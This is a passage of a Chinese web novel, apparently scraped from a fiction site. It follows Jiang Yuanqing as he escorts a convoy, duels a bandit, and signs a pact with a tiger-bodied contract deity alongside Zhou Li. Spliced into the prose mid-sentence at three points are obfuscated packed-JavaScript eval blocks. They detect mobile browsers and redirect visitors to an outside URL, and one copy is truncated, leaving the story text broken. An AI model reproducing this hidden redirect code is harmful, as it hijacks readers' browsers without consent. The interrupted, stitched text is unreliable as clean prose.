“公子……”马镖头小心翼翼地朝江远倾道,“您还要和我们走镖么?要不您留下罢。” 江远倾深吸一口气,心口隐隐作痛。他抬头望了眼天空,此时日光和煦,万里无云,湛蓝的空中一群鸟儿振翅高飞,和往常一样平静祥和。 “不,我和你们走。”他的嗓音有些嘶哑,却十分坚定。 “江全,你将巧烟姑娘好生送走。” “是。” 江全走到巧烟身边,巧烟止住了哭声,走前不忘回头对江远倾说道:“江公子,这是巧烟替小姐最后一次看你。”说罢,巧烟兀自离去,江全欲跟上巧烟,却被江远倾叫住。 “公子还有何吩咐?” “我此次出门,你替我在家中好好照料母亲,好好打理江宅,等我回来。” “好,公子放心,公子路上也需多加小心。” “嗯。” 说罢,江全快走几步去追巧烟。 江远倾平心静气,整理面容,转身朝着望向自己的镖局兄弟道:“启程。” 于是,众人推车的推车,背行李的背行李,井然有序地往外走。马镖头牵来两匹马,将其中一匹马的缰绳递给江远倾。 “公子,您真的决定好了么?” “我已当着众兄弟的面许下承诺,怎有反悔的道理?”说罢,他一跃上马,朝着已经行进的队伍前头行去。 马镖头暗暗叹了口气,也骑上马追了过去。 镖局队伍按照路线出了风灵城,朝东行去。一路上风和日丽,春水淙淙。路两旁的枯草已经发了新芽,鸟儿停在柳枝上发出婉转的叫声,一副冰雪消融、生机勃勃的景象。 “春天终于来了,今年的冬天实在难熬。”话说出口,马镖头的心中顿时有些后悔。他悄悄瞥了眼江远倾,见他仍是副平静的面容,便松了口气。 “熬过去的才是春天,熬不过去的,都叫冰雪化进了土里,待到明年此时,谁还能记起?”江远倾坐在马上喃喃自语道,一双眼睛十分木然,任路旁的风景从眼角掠过。或是脚下轻盈明艳的野花,或是近旁溶溶漾漾的溪水,或是远处一闪而过、身姿灵动的兔子。 马匹朝前走着,他的身子似乎还留在原地。脑海里反复闪现着巧烟痛苦扭曲的面容和带着哭腔的诉说,他试图从巧烟的话里想象赵兰最后的模样,却想象不出,只一味地浮现出她射箭时明媚的笑容。 她笑得越灿烂,他的心口越是疼痛难忍。一阵血腥味从鼻腔涌出,江远倾只觉得胸中痛痒至极,不禁咳嗽了起来。 “公子,您还好么?”一旁的马镖头见他咳嗽不止,心中有些担忧。 江远倾咳得说不出话,脸涨得通红,突然他停顿了一下,猝然呕出一口鲜血。 鲜血吐出后,江远倾的身子忽地一软,从马背上摔了下去。 “公子!”马镖头慌了神,连忙朝后面的队伍招手,“停下,快停下!” 队伍停下脚步,不再上前。马镖头急 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14611561|156119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙下马扶起江远倾,近旁的兄弟也跑过来,打开水壶给江远倾喂水。 “公子,您这是怎么了?”马镖头用衣裳擦去江远倾嘴角的鲜血。 江远倾喝了几口水后恢复了神志:“只是气急攻心,不碍事,不碍事。” “公子,我派个兄弟送你回去罢?” “我去镖车上歇息就好,正好白日休息,晚上由我守夜。” “公子……”马镖头欲言又止。 “既然走镖,就要走到底。我能走下去,马镖头,你相信我。” “好,我相信你。公子,您先去车上歇息罢,前头有我护着。” 说罢,周围的弟兄把江远倾扶到镖车上坐着,队伍继续行进。 江远倾闭上眼睛努力平稳气息,听着车轮滚动时发出的有规律的摩擦声,呼吸逐渐平稳。 他趴在装满金银的箱子上浅眠了一阵,不知睡了多久,突然从梦中惊醒。他环顾四周,周围的景致已大有不同,前不着村后不着店,十分荒凉。 江远倾遥望前方,一座山丘被密林覆盖,脚下的路正要经过那山丘。 “前面那个山丘是什么地方?”江远倾连忙问推车的兄弟。 “公子放心,那是上山虎高奂的地盘。高奂与我们家老爷有私交,老爷逢年过节都会派人打点,让他们平日里与我们行个方便。他们看到我们的镖旗,不会出来的。” “那就好。” 快接近山丘时,马镖头在前头高声道:“合吾!”紧接着队伍里的弟兄也齐声道:“合吾!” 江远倾从镖车上抽出一把刀,警惕地观察着密林里的动静。忽然,前头冒出一伙人,一个身强力壮的男子站在最前面。他穿着兽皮制成的衣裳,头发散乱,皮肤黝黑,手里拿着斧头。 马镖头做了个停下的手势。 “这人就是高奂么?”江远倾问旁边的兄弟。 “这……这不是高奂。”那兄弟支支吾吾道。 手持斧头的男子不顾马镖头的神色,大摇大摆地站在石头上,前后打量了几下镖车上的箱子,大声道:“嚯!一块好肉!” “好肉有刺在虎口里。”马镖头不动声色地回道。 那男子用鄙薄的眼神瞟了眼马镖头:“好绵羊。” 马镖头转动手中的长枪,回道:“羝角硬。” 持斧男子喉中冷笑一声:“留下一半银两,兄弟就让你们过去。” “高奂呢?我家老爷平日里可没少送礼。” “你若是想见他的人头,我就叫人去山里树上取来给你。” “你杀了高奂!?” “江风山已经死了,人尽皆知。高奂那狗东西靠着江风山这条大腿嚣张了不少日子,我杀了便杀了,还要告知你么?” 马镖头忍住怒气:“一半银两也忒多了,你叫我们这些兄弟怎么过活?” “昨日有个兄弟从此过,痛痛快快地交了一半的东西,怎么你就交不出?”那男子轻轻挥舞斧头,将它抵在肩上,“再说了,现在这世道可不好过,你知道为了占这片山,我们兄弟受了多少罪么?让你们过已经是给情面了。” “对了。”那男子突然想起了什么,“既然插着江家的镖旗,怎么不见江家人?怕不是死了爹就不敢出来与我说话了罢?”说完,男子身后传来一阵笑声。 “你也配!”马镖头还想说什么,却听得身后传来一声呼喊。 “是谁要见我?”江远倾负手将刀持于身后,一脸从容地走过来。 “公子!”马镖头连忙叫住江远倾,江远倾却使了个眼色制止他。 “在下江风山之子,江远倾,敢问阁下高姓大名?” “我既杀了上山虎,你就唤我杀山虎罢。” “好,杀山虎兄弟。远倾知晓世道艰难,可你要的银两实在太多,昨日那位兄弟给了你一半,那是他没有本事。我江氏镖局虽不如从前,却也不是好惹的。重振雄风在此一举,我手下的兄弟可都是憋住了劲儿要为自己正名。这趟镖若是走不成,他们都得回去喝西北风,待会要是和杀山虎兄弟的手下交起手来,远倾可不能保证他们不会下死手。到时您若是折了兄弟,这座山您就更保不成了。” “哪儿来的书呆子!”杀山虎气急败坏道,“你说别人没有本事,你有本事?” “有没有本事,试试不就知道了?”说罢,江远倾抽出身后的刀,眼中泛着凌厉的肃杀之气。 15. 第 15 章 “怎么?不敢与我比试么?”江远倾的刀尖轻轻划过野草,那野草便断成了两截。 “有何不敢?我倒要看看你是个尖挂子还是个里腥挂子!” “若我胜了你呢?” “口气不小!看你文文弱弱的,倒挺会白日做梦!” “比试之前当然要说好各自的条件。如果我赢了,你就要分文不收地放我们过去,高奂从中得的,你只能要他的一半,如何?” “你若是赢了,我就放你过去。可要是我赢了,你就留下一半的银两,回去砸了你江氏镖局的招牌送给我。” 走镖队伍里传出窃窃私语的声音,马镖头也按捺不住性子翻身下马来到江远倾身边。 “公子,这人阴险狡诈,你别上了他的当。”马镖头道。 “我知道,但江氏镖局若还想继续开下去,这样的比试就难以避免,今日不是他,也会是旁人。爹爹当年也是靠一身武艺得以服众,今日我只不过是做了和爹爹一样的事罢了。” “可是您的身子……” “你放心,我已经好些了。” “好,既然如此,那我便相信公子。不过你要多加小心,与他交手时小心他出黑招。” “你们商议好了么?我瞧着江风山行事果断得很,怎么生了个儿子磨磨唧唧的?”杀山虎在一旁不耐烦地说道。 “杀山虎兄弟,我们已经商议好了,你方才说的远倾同意。” “好,那我就与你比划比划。”说罢,杀山虎深吸一口气摆出架势,浑身绷紧了劲儿恶狠狠地盯着江远倾。 江远倾立在原地,岿然不动。 霎时,杀山虎挥舞斧头似离弦之箭朝江远倾奔来,江远倾仍不动,待堪堪离近时才挥起刀后退几步抵挡两下,随即稍一偏身,让杀山虎扑了个空儿。杀山虎缓过神来,立即扬起斧头朝江远倾脖颈劈去,江远倾用刀抵挡。二人力气相当,斧头与刀相劈发出刺耳的碰撞声,顿时火花四溅。 江远倾稳住身子,用浑身的力气将杀山虎的斧头撞回去,杀山虎一时没站稳,竟踉跄几步被顶了回来。江远倾勾起嘴角,云淡风轻地朝他笑了一声,这一笑让杀山虎顿时恼怒,他鼓足力气挥舞斧头又冲了过来。这回他出手极快,对江远倾的要害轮番劈砍,势如破竹。江远倾的反应也极其敏锐,将他的劈砍一一抵挡回去。 杀山虎见状,忽地下蹲身子,用一条腿朝江远倾下盘猛力横扫。江远倾立即飞身,一个后空翻从杀山虎头顶掠过,并提刀往杀山虎挥斧的右肩划了一道口子。杀山虎立时苦叫了一声,捂住肩膀喘着粗气,朝江远倾怒目圆睁。 “杀山虎兄弟,你已经输了。” “哼,输了又如何?我说过,我若是输了就放你过去,可没有说放他们过去。”杀山虎轻蔑地扫了马镖头一眼。 “你!你怎能出尔反尔?”马镖头心中怒火中烧。 不料,江远倾二话不说,提刀朝杀山虎袭来。杀山虎始料不及,连忙左手持斧抵挡江远倾的袭击。江远倾双手握刀,一劈一砍都用足了力气。杀山虎受了伤,又是左手持斧,抵挡几下后,便渐渐体力不支。 江远倾看出他的破绽,站稳脚跟使足力气,挥刀朝他的脖颈劈去。杀山虎连忙伸斧抵挡,却没料到斧头被江远倾直接劈断,刀直直地劈进他的左肩,使得他不得不顺势跪在地上。 “别动!”江远倾朝杀山虎身后蠢蠢欲动的手下吼道,“再动半步,我就将你们老大的头颅砍下来,同高奂挂在一棵树上!” “江公子手下留情!”杀山虎一改之前的嚣张气焰,连忙求饶。 “杀山虎兄弟,方才是你要出尔反尔么?” “不不不,不敢了,江公子大人有大量,饶了小的罢!” “饶了你可以,但我说的条件你可得答应!” “答应答应!小的一定答应!”杀山虎连连点头道。 见他应允,江远倾将刀从他左肩挑出,顿时鲜血淋漓。杀山虎跪在地上,双肩动弹不得。 “多谢公子!” 杀山虎躬了躬身以表谢意,再抬起头时,突然将手里不知从何处抓来的粉末要朝江远倾脸上洒去。 江远倾见他使阴招,连忙提刀遮挡眼睛。这时,耳边忽然传来利刃划破长空的呼啸声,而杀山虎手中的粉末也迟迟没有洒出。江远倾心生疑惑,将刀小心放下,却见得杀山虎脖颈处斜斜地插着一支镖。 他浑身僵直,口吐鲜血,手上的粉末还未洒出便全部滑落到地上,不多时就失去力气,整个人瘫倒在地。 江远倾立即反应过来,朝那支镖射出的方向望去。只见密林里树影晃动,却不见人影。他提起刀欲往那方向查探,这时杀山虎手下一个领头的高声喊道:“他们杀了老大!兄弟们上!绝不能让他们过去!” 说罢,杀山虎的手下冲了过来。 “围住镖车!护镖!”马镖头发出号令,随即与他们打斗了起来。 其它镖局兄弟也纷纷拿出武器,背靠镖车围住,不让杀山虎的手下靠近。 江远倾因与杀山虎比武,此时力量耗去大半,只得陷入防守局面,与这些贼寇缠斗。 恍惚间,江远倾似乎看见一辆镖车被几名贼寇拉进了树林。心急之下,他踹开围上来的贼寇,飞身去追。 进入树林,他瞧见前方有几抹残影,于是追了上去。 一路上,那几名贼寇跑得极快,且左拐右拐,让江远倾摸不着方向,只得紧紧跟上。 跑了一阵,前面的树林渐渐透着些亮光,江远倾意识到他们即将跑出林子。 可就当江远倾跟着他们跑出林子时,他发现眼前豁然开朗,一片平地,前方再走一段路就是悬崖! 拉着镖车的贼寇竟径直往悬崖边跑去,江远倾不禁立住脚步,疑惑地看着他们,直到他们纷纷跨过悬崖,瞬间变成一缕青烟,消失得无影无踪。 江远倾连忙走到悬崖边看向山下,山脚下空无一物,这时他注意到自己的脚边有一片金色光影徐徐靠近。 “别追了,他们是我做的幻象。”一个苍老嘶哑的声音在身后响起。 江远倾缓缓转身,一团刺眼的金光映入眼帘。待眼睛适应了这团金光后,他才注意到这些金光出自一头一丈多高的奇异猛兽。这奇兽长得像老虎,一身金色皮毛。 江远倾立即提刀,摆出一副防守的姿态,不料那奇兽竟发出人的笑声。 “你背后即是深渊,还妄想与我对抗,凡人真是蠢得可笑。” “你……你是什么东西?” “怎么?你认不出我了么?” 那奇兽踱着步子缓缓转了个圈,江远倾这才注意到他长着一条龙尾。 “你是……”江远倾顿时觉得有些熟悉,一身金色皮毛,虎身龙尾,实在似曾相识。 “你是……那画里的天禄?” “见了契约神,怎么连一点礼数都不知?”契约神低下头,一双锐利威严的眼睛紧盯着江远倾。他的眼珠散发着暗绿色的幽光,深不见底,似乎能吞噬一切,令人心生敬畏。 “参见……契约神。”江远倾一面行礼一面心里仍疑惑着,“敢问神仙,我……是已经死了么?” “你还活着,不过你身患不治之症,已是将死之人。” “什么……”这番话被他这般轻巧地说出口,江远倾顿时觉得有些恍惚,“敢问上神可预知未来么?” “知晓未来是需要代价的,连天帝都不曾有这神通。” “那上神为何知晓我阳寿将至?” “凡人之躯,这有何难?” “上神所言当真?” “吾乃契约神,怎会费口舌与你这凡人戏言?” 江远倾彻底死了心,他朝契约神行了个礼:“多谢上神告知,我等凡人还有兄弟要救,就不相陪了。”说罢,江远倾提刀欲往回走。 “你若回去,才是真正的没有活路了。” 江远倾停住脚步,听他似乎话里有话。 “上神此话意欲何为?上神做了个幻象引我前来到底所为何事?” “本神可赐你一条活路。” 江远倾听了这句话愣了愣神,思考片刻才回道:“什么代价?” 契约神大笑一声道:“你倒也不是完全愚钝,本神给你的活路自然有代价。” 说罢契约神摆动尾巴,从地上卷起一堆泥土,攒成个球状,随即吹了口气。只见那球飞起,瞬间碎裂成无数颗粒漂浮在空中,接着其中的许多颗粒汇聚在一起,形成一具人骨。剩下的颗粒接连汇聚,形成筋脉和皮肉,最后是衣裳。 江远倾眼睁睁地看着这堆泥土变化成一个穿着衣裳的凡人,再定睛一看,这凡人与自己生得一模一样。 “这……”江远倾惊奇地望着契约神,还未待他说出下一句话,那泥土做的凡人便躬身朝契约神行了个礼,随即缓缓转身朝江远倾行礼。 “这叫幻偶,与你一模一样,无甚差别,他会代替你活下去。”契约神道。 “他……他会代替我照顾我的母亲,将江氏镖局发扬光大么?” “那是自然。” “那我呢?” “这便是你方才问的代价了。”契约神顿了顿,昂起头俯视江远倾,“本神需要一位凡人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这时,草丛后突然冒出一男子,江远倾迅速朝他望去。只见他戴着半边狼脸面具,腰挂雁翎刀,走路一瘸一拐,年纪尚轻却满眼杀气。 江远倾瞧着他的面具甚是眼熟:“你是那晚闯进我宅院的黑衣人?你怎得在此?” 那人不理会江远倾的询问,径直朝契约神道:“在下名为周厉,愿为契约神效劳。” 契约神饶有兴趣地踱步走到周厉面前:“摘下你的面具让本神瞧瞧。” 周厉顺从地摘下面具,露出半边布满胎记的脸。契约神凑近周厉,在他威严的气势下,周厉却无丝毫害怕,反而目光坚毅地直视契约神的眼睛。 “恢复得不错。” “什么?”周厉没听懂契约神的意思。 “你胆量不小,竟敢偷听本神说话。” “连这胆量都没有,还怎么收人魂魄?” 听了这话,契约神哈哈大笑:“江远倾,你可想好了?这位叫周厉的凡人可没有丝毫犹豫。” “远倾刚刚还在想,会是什么人与契约神订立死契,现在看到周厉兄弟,心中便明朗了。” “有些人还未订立契约,就已经是将死之人了。” 江远倾听周厉话中有话,却不恼,反而心平气和道:“周厉兄弟连这份契约的时限都未问清楚,就如此迫不及待么?” “只要本神的法力未消散,这份契约便永久生效。”契约神道。 “也就是说,你我其中一人将永生永世协助管理人间契约。”江远倾朝周厉道。 “只要上神教我成仙之道,脱离凡世之苦,周厉便答应。” “这有何难?”说罢,契约神摆动尾巴朝周厉的腿轻轻一点,周厉走了几步惊奇道:“我的腿好了!” “只要签订契约,本神便能赐予他法力,有了本神的法力,就能不病不死。”契约神意味深长地凝视着江远倾。 “好,我答应你。”江远倾终下定了决心,“不过选他还是选我,在于上神。” “上神,他心慈手软,遇事不决,倒不如由我来担此重任。” “我心慈手软?”江远倾一脸疑惑地望着周厉。 “方才你要饶杀山虎一命,险些被他暗算,还是我救的你。” “那支镖是你的?”江远倾回想杀山虎脖颈处的飞镖,入喉极深,可见出手十分狠厉。 “请上神仔细斟酌。”周厉避而不答。 “好,既然你们都答应……”契约神顿了顿,看向二人,“那便一起为本神管理契约罢。” 16. 第 16 章 “什么?”江远倾与周厉异口同声道。 “上神不是说过只需要一位凡人么?”江远倾问道。 “本神改变主意了,更何况,二人还可制衡。你二人若发现另外一人违反了契约,随时可告知本神。可还有异议?” “也好,在下没有异议。”周厉道。 “既然周厉兄弟没有异议,那远倾也无异议。” “好。”契约神轻吹一口气,两份文书和笔墨凭空变出,落到江远倾和周厉眼前,“这是拟好的契约,若你二人无异议,签下姓名后在文书上按上手印即可。” 江远倾将文书细细看了一遍,确定无误后签下自己的姓名。签完后他不知该如何按手印,便朝周厉望了一眼,却发现他早已签好递给契约神。 “你只需将手掌盖上文书即可。”契约神道。 于是江远倾将手掌贴近文书,那文书立即出现了一个掌印。 “契约已成,若违此约,自当祸。”说罢契约神转头朝身上咬下两根金色的毛发,轻轻往空中一吹,两根毛发立即化作两道金光,分别飞向江远倾和周厉。 金光入体,江远倾顿觉神清气爽,胸口的郁结烦闷烟消云散。 “你们虽有本神的法力,却不可滥用。除契约外,不可干涉其它凡人生死,不可伤人、杀人、救人,这些本神已写进方才的文书里。你们一旦使用本神的法力,本神便可感知你们的存在,故莫要蒙骗本神,本神平生最痛恨的便是违反契约、言而无信之人。” 江远倾注意到契约神在说最后两句话时,身上的金毛直直地竖起,联想到契约神被凡人欺骗的经历,江远倾顿时心中了然。 “知晓了。”二人异口同声道。 这时,幻偶朝江远倾走来,并伸出双手,像是索要什么东西。 江远倾顺着他的目光看去,意识到他是想要自己的刀,于是便将手中的刀置于他的手上。 拿到刀后,幻偶抱拳行礼,并转身朝江远倾来时的路奔去。 江远倾注视着幻偶的背影,也是自己的背影,顿时感触良多,颇为惆怅。 “交给你了。”他心中默念,眼神追随那个熟悉的身影,直至隐入树林,再也看不见。 “你们与本神的契约不同于平常的血契,签了这份契约,你们便算本神的手下,本神自然要庇护你们。”契约神站在悬崖边极目远眺,远处山峦叠嶂,点点新绿汇聚在一起,草木葱茏,青翠欲滴。 “这世间有一座山,名为飞红山,受本神庇佑,凡人不知此山的去处。山中有几处庐舍,你们可去那里歇息。”契约神转身朝向江远倾和周厉,“手中做剑指状,直指额角,心中想着飞红山,口念瞬地二字,你们便能抵达那山。” 周厉遵循契约神的指示,摆出一副剑指天庭的手势,喝道:“瞬地!” 话音刚落,周厉瞬间凭空消失,无踪无影,不留痕迹。 江远倾见状十分惊奇,也学了个模样,口呼瞬地。顿时,眼前一道白光闪过,江远倾不禁闭上双眼。待白光消失,他缓缓睁开眼睛,一座落红飘飞的山峦映入眼帘。 飞红山上也是一副盎然春景,林间新叶嫩绿,青草吐翠,莺歌燕舞。潺潺泉水流淌山间,云蒸霞蔚,宛如仙境。 “正值初春,怎得一副落英缤纷的景象?”江远倾有些疑惑。 “要不怎唤个飞红山呢?”一旁先到的周厉开口道。 “真是个幽静清丽的住处。”江远倾感慨道。 “那里有间竹屋。”周厉兀自朝前走。 江远倾跟上前,只见一间简朴雅致的小竹屋坐落在山间,周围竹林环绕,还栽种了几株长得极高的芭蕉。 “这竹屋好是好,就是吵闹了些。”周厉自言自语道。 “吵闹?” “风吹竹叶,雨打芭蕉,可不吵闹么?” “我倒觉得十分别致。”说罢,江远倾抬脚朝小竹屋走去。 “那这间就让给你了,我去别处寻个。”说完周厉自顾自沿着山路往上走。 江远倾走近竹屋,发现里面有书房、卧房还有茶室,一应俱全。书房的书架上陈列着各类书籍,其中还有修习法术的书籍。竹屋门前有石桌石凳,一旁的竹子青翠欲滴,将绿影投射在桌凳上。江远倾坐在石凳上,抬头即是竹子那婆娑摇曳的倩影。 忽然,空中似传来契约神的声音。 “你们的屋舍都挂了檐铃,若契约生变,檐铃自会发出声音。山顶的天禄阁是所有契约所在之地,到时你们去那里查阅便是。” 江远倾朝屋檐看去,果真挂着一串铃铛。这铃铛十分别致,由三个金色小铃铛重叠组成。清风吹来,竹叶摩挲发出沙沙的声音,铃铛却纹丝不动。 “你方才听见契约神的话了么?”周厉不知从何处突然冒出。 “听见了。” “这檐铃好生奇怪,遇风竟不动。” “想必是法器。”江远倾复坐回石凳,端起石桌上的茶壶倒茶。 “那山上还有个住处,里面有个练功房,练功房里有各式武器,以后我便住那里。”周厉回头瞥了眼江远倾,却见他一言不发,面色凝重。 “周厉兄弟现在可否告诉在下,为何那晚要私闯江宅,且一路跟踪我,又在杀山虎那里出手援助?”江远倾端起茶杯,喝了口茶,“据我所知,你我并不相识。” “令尊对我有恩,我那晚进入江宅只是想打探他的死因。” “哦?何时有恩?” “几年前风灵城外有流寇作乱,我父母死于流寇之手,是江老爷设的粥棚,才让在下得以填饱肚子。” 江远倾抬起头,意味深长地看了周厉一眼:“既然有恩,又何必翻墙而入?” “我……我出身低贱,怎敢劳您大驾?只是想着悄悄进去瞧一眼便好。” “周厉兄弟妄自菲薄了,连契约神都对你的胆量赞不绝口。” 周厉听他说这话时的语气有些奇怪,突然想到方才在契约神面前与他争辩过几句,一时不知该如何应答。 “那你又为何要跟踪我?”江远倾道。 “我只是刚巧路过,见你们剑拔弩张,我就驻足凑了下热闹。” “哪有人凑热闹还杀人的?那支镖是你发出的么?我看周厉兄弟身手不凡,敢问出自哪位名师门下?” 江远倾一连串的问题让周厉有些手足无措。 “实不相瞒,公子您当初也对我有恩,特地叫人给我送来装了钱粮的包袱。我看杀山虎要出阴招,情急之下才出此下策。” “是你?”江远倾打量着他的面具,试图看清面具下的脸。 “我只是学了些功夫傍身,不算什么名门。” 江远倾一边喝茶一边回想他的身世,沉默良久才道:“你也是命蹇时乖,所以,你才想当神仙么?” “这桩买卖于我而言是双赢,既能成仙,又能惩罚那些言而无信的恶人!”周厉义愤填膺道。 “言而无信的便都是恶人么?” “一言既出,驷马难追,哪里有反悔的道理?” “有周厉兄弟相助,远倾就省心多了。”江远倾喝了口茶,不再言语。 周厉看着他的脸色,小心翼翼道:“我还有一事想问。” “什么事?” “那晚我本想查探江老爷的死因,但不小心被你发现。所以我想冒昧地问问,江老爷是如何丧命的?” 江远倾一脸警惕地抬头望向他:“这对你来说很重要么?” “江老爷也算是我的恩人,查明他的死因,日后抓到了凶犯,也算是对得起他老人家在天之灵。” “家父丧命于山野流寇之手,连官府都没有办法,你能抓到?” “将来说不准我能成为神仙,你说我会不会有办法?” “那就等周厉兄弟成为神仙再说罢。”说完江远倾起身欲离去。 “多一个人助你一臂之力不好么?”周厉仍不愿放弃。 “这是在下的家事,不劳周厉兄弟费神。”说完,江远倾似想起了什么,转身道:“那晚你闯入时,可曾听到我说过什么话?” 周厉回想了一番立即答道:“没有,并未听到什么。我从围墙上走过,不慎踩雪滑倒跌入院内时,才发现你在那里。” 江远倾用怀疑的目光打量了几下周厉的神色,才转身走进竹屋。 周厉欲跟上,却见江远倾直接关上了门。 “在下要休息了,请周厉兄弟去别处罢。”江远倾在屋内道。 周厉无可奈何,只得回自己的住处。他的住处是一间木屋,离江远倾的竹屋还需沿着山路穿过一片树林。 周厉踏在山中石阶上,路两旁栽种了各种树木,繁茂的树枝交错缠绕,密不透风,不时有带着芬香的花瓣从空中飘落。他抬起头,欲寻花瓣的来处,却在交织的树枝缝隙中一眼就看到了山顶的阁楼。 那阁楼高耸入云,铺了整齐的琉璃瓦,在日光的照耀下,显得金碧辉煌。 “这就是契约神所说的天禄阁罢。”周厉自言自语道。 可此时天色已晚,他想着明日去瞧瞧,便径直朝自己的木屋行去。 进了木屋,周厉疲倦地躺在石头做的床上。窗外被夕阳照得一片昏黄,落花沾染了金光肆意飞舞,飘落无声,一切都十分静谧。 周厉躺在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14611563|156119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 床上心事重重,难以入眠。他眉头紧锁,脸上堆满了愁容。 “曲玉啊曲玉,你究竟有没有杀江风山?”周厉在心里念道,“可是江风山不像是心肠歹毒之人,怎会在你身上留下那么多道伤口?到底是谁杀的你?” 诸多的疑问在周厉的脑海里如同一团乱麻,怎么理也理不出头绪来。 外间日光逐渐淡去,夜幕降临,万籁俱寂,飞红山的树木泉水皆隐入朦胧夜色之中。 第二日早晨,江远倾早早地起身坐在茶室里喝茶看书,忽听得门口传来敲门声。 “江公子!你醒了么?” 江远倾将门打开,一条肥美的鲤鱼立即被递了进来。那鱼十分鲜活,不断翻腾身子,浑身的水差点溅到江远倾的脸上。 周厉站在门口,左手提鱼,右手捧着油纸,油纸里包着几个热气腾腾的包子,散发着肉香。 “哪儿来的鱼?”江远倾问道。 “旁边水里刚逮的,还活蹦乱跳呢。” “你出去买的包子?” “我用两条鱼跟包子铺老板换的……契约神未曾说过我们不能出山罢?” “你来找我有什么事么?”江远倾复坐回座位上。 “没什么事,往后我们也算是同僚,不得互相照应着么?这些给你。”说完周厉将包子和鱼放在桌上。 “你倒也不必如此讨好我。” “这怎么能算讨好呢?这叫互帮互助。契约神只给了我们法力,连俸禄都没有,往后的日子还不知道怎么过。” 江远倾未理睬他,只闭上眼睛,嘴里念念有词,随即手指桌子喝道:“变!” 桌子上立即凭空冒出一些碎银。 “你怎么会这个!?”周厉一脸惊奇。 “书上教的,契约神放在书房里的书,许是让我们自学。” “早知如此,我就不大清早地去抓鱼了。” “这些碎银给你,算作包子的钱,鱼你放回水里罢。”说完江远倾吃起了包子。 “也好,那我就不客气了。”周厉拣起碎银揣在怀里,起身欲往书房走去,“哪本书?我也瞧瞧。” “教法术的书,不过每日可变的银两有限,且不可无故赠予未签契约的凡人。” “怎么这么多限制?”周厉皱起了眉头。 “契约神与凡人不和,怎会让我们白白地将他的银两送出去。” “还有这事?”周厉连忙走过来坐下,一脸认真道:“你给我讲讲?” “是契约神庙里一位老先生告诉我的,他说……”江远倾刚要说下去,却隐约听得屋外传来清脆的铃声。 “是不是檐铃响了?”周厉忙打开房门查看,只见外间无风,檐上那串铃铛果真摇摇晃晃,叮当作响。 “去天禄阁瞧瞧。”江远倾见状立即道。 “好。”周厉抬脚欲往山顶走去。 “等等,契约神教你的,你都忘了么?”说罢江远倾闭眼剑指天庭。 “对了,我竟忘了。”周厉也做出相同的手势。二人同呼“瞬地”,转眼间便来到了天禄阁脚下。 江远倾抬头仰望天禄阁,却一眼望不到顶。二人推门进入天禄阁,只见阁内一道沿墙而建的楼梯螺旋向上,直通阁顶。满墙密密麻麻的格子,放置了数不清的契约文书。 “这要找到何时?”周厉面露愁云道。他望向江远倾,却见他紧闭双眼,嘴里又是念念有词。不多时,江远倾竟脚底悬空,飞了起来。 “我去找,你在原地莫要乱动。”说罢,江远倾往阁顶飞去。 “你不会一夜未眠,将那本书都看完了罢?”周厉站在下面问道。 “只是囫囵吞枣,略看了些。”江远倾一边寻找一边答道。 “只是略看了些就都记住了?怪不得契约神要找你管理契约,换了我不知要学到何时。” 江远倾没有应答,仍在一众格子里寻找着。忽然,有一个格子吸引了他的注意,那格子里的契约文书闪着微弱的金光。 “这书里的法术如此之多,我要从何学起?”周厉自言自语道。 “你还是先学如何收人魂魄罢。”江远倾手捧泛着金光的契约文书,飞了下来,“这份生变的契约是血契。” “你怎么知道?”周厉凑近问道。 “血契与我们签订的契约有些许的不同,这上面的手印是人血。” “原来如此。”周厉细细阅读契约文书里的内容,“这人与契约神签订血契,死后魂魄由契约神收回。而契约神将自己的法力赐予了他,他每日只可使用一定的法力,不可超出……” “立契人:吴青。”江远倾补充道。 17. 第 17 章 春寒料峭,天光微明。凝结了一夜的寒露从沿阶草的尖端轻轻滑落,如同泪滴,悄然浸湿石阶。 一双简朴的僧鞋略沉重地踩在碎裂的露珠上,随即拾阶而上。僧鞋的主人肩挑两桶水,脚步沉稳,尽力不让桶里的水洒出。他的脸上布满汗珠,抬头望时,一条长长的石阶依山而上,层层叠叠,似看不到尽头。 云雾缭绕,笼罩山林,虚无缥缈间,可见一座古朴庄重的寺庙坐落于山林之中。 庙里传来低沉悠扬的钟声,响彻山间,令人为之一振。 朝阳升起,一道金光穿透云雾,倾洒在寺庙之上。历经沧桑的寺院红墙被阳光拂去灰尘,露出原本典雅的色彩。 僧人终踏完最后一道石阶,石阶的尽头是木制的寺门,那门饱经岁月侵蚀,显得斑驳破旧。门上挂着一块匾,匾上用浑厚的笔法写了三个字:宝竹寺。 僧人穿过寺门,来到厨房,将挑来的水倒进水缸里。 “清然。”一个和尚伸着懒腰走进厨房,瞅了眼水缸,“你今日怎起得如此早,将水缸都灌满了?” “早些去挑水,师兄们念经时便不会口干舌燥了。” “师弟辛苦。” “师兄言重,清然还需打扫禅堂,先走一步。” “去罢。” 清然朝师兄合掌行礼,随即拿起外间的扫帚朝禅堂行去。 